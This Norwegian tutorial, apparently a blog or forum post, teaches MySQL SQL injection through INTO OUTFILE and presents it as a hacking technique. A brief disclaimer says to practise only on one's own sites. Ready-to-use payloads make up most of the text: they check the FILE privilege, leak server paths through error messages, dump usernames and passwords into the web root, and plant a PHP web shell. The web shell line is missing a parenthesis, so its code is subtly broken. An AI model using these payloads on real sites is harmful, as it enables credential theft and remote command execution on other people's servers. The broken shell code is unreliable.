Mysql sql injection: INTO OUTFILE
Denne teksten vil være om en nyttig mysql funksjon for hackere. Vi skal se på FILE privilegiumet, og hvordan dette kan brukes til å hacke nettsider.
Ikke bruk informasjonen i teksten til å angripe nettsteder du ikke eier. Bruk det på dine egne, eller last ned f.eks. WAMP og prøv ut dette lokalt på din egen pc.
into outfile er en mysql funksjon som lar deg skrive filer på serveren. Eks:
SELECT * FROM members INTO OUTFILE 'test.txt'
Når denne koden kjøres blir det opprettet en fil “test.txt”, og resultatet av spørringen legges inn i denne.
For å kunne bruke out file må gjeldende bruker ha FILE privilegiumet. For å finne ut det, gjør følgende:
1. Først finn ut hva brukernavnet er
' UNION ALL SELECT USER()--
Dette vil gi oss username@server, vi er kun interessert i username. La oss si brukernavn var “root”.
For å se om root har FILE privilegiumet kan du aksessere information_schema.user_privileges. information_schema er en database som ofte brukeren har tilgang til. Og i denne har vi en tabell “user_privileges” som inneholder alle privilegier til alle brukere. Denne information_schema databasen ble introdusert i mysql 5.
La oss se om brukeren root har FILE privilegiumet:
' UNION ALL SELECT privilege_type FROM information_schema.user_privileges WHERE grantee LIKE '%root%'--
Dersom resultatet er FILE, har brukeren root FILE privilegiumet. Eller ihvertfall alle brukere som har “root” i brukernavnet. ( vi satser på at faktisk er brukeren “root”).
Hvis du finner ut at brukeren ikke har FILE privilegiumet, kan du ikke bruke into outfile.
2. Mappe/path problemet
Om du ikke spesifiserer hvor du vil legge filen, vil denne legge seg i database mappen. På min pc vil filene derfor legge seg her: “C:\wamp\bin\mysql\mysql5.0.51b\data\test_database\”.
Så hvis jeg injiserer denne spørringen:
SELECT navn FROM medlemmer INTO OUTFILE 'test.txt'--
Vil denne filen bli opprettet: “C:\wamp\bin\mysql\mysql5.0.51b\data\test_database\test.txt”. Og ha innholdet fra spørringen i seg.
Å finne riktig sti/path kan ofte gjøres bare ved å injekte en enkel apostrof slik:
http://localhost/index.php?id='
Så vil man få en feilmelding: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\wamp\www\index.php on line 12
Og der har man stien til www området. C:\wamp\www. Vet man denne kan man pakke data i en fil med into outfile, for så å lese innholdet ved å browse nettleseren til den riktige stien.
På mysql 5 kan du finne stien slik:
' UNION ALL SELECT @@datadir--
Den defaulte mappen der filer blir lagret er datadir\databasename. Du kan finne ut databasenavn slik:
' UNION ALL SELECT database()--
Så når du har funnet ut riktig sti/path kan du skrive til www området slik:
' UNION ALL SELECT brukernavn, passord FROM medlemmer INTO OUTFILE 'C:/wamp/www/dbdump.txt'--
Legg merke til at bakoverslashene må snus andre veien. Har ikke peiling på hvorfor. Deretter er det bare å surfe til http://localhost/dbdump.txt for å se på innholdet.
Det som er farlig med dette, er ikke at man kan hent ut passord og hva som helst, fordi dette kan man gjøre med vanlig sql injection. Det som er skummelt er at man kan skrive filer til serveren med hvilket innhold man vil.
Ta f.eks.
' UNION ALL SELECT '<?php system($_GET['cmd']; ?>' into outfile 'C:/wamp/www/shell.php'--
Dette fører til at vedkommende kan kjøre php koder på serveren din.



































Legg igjen en kommentar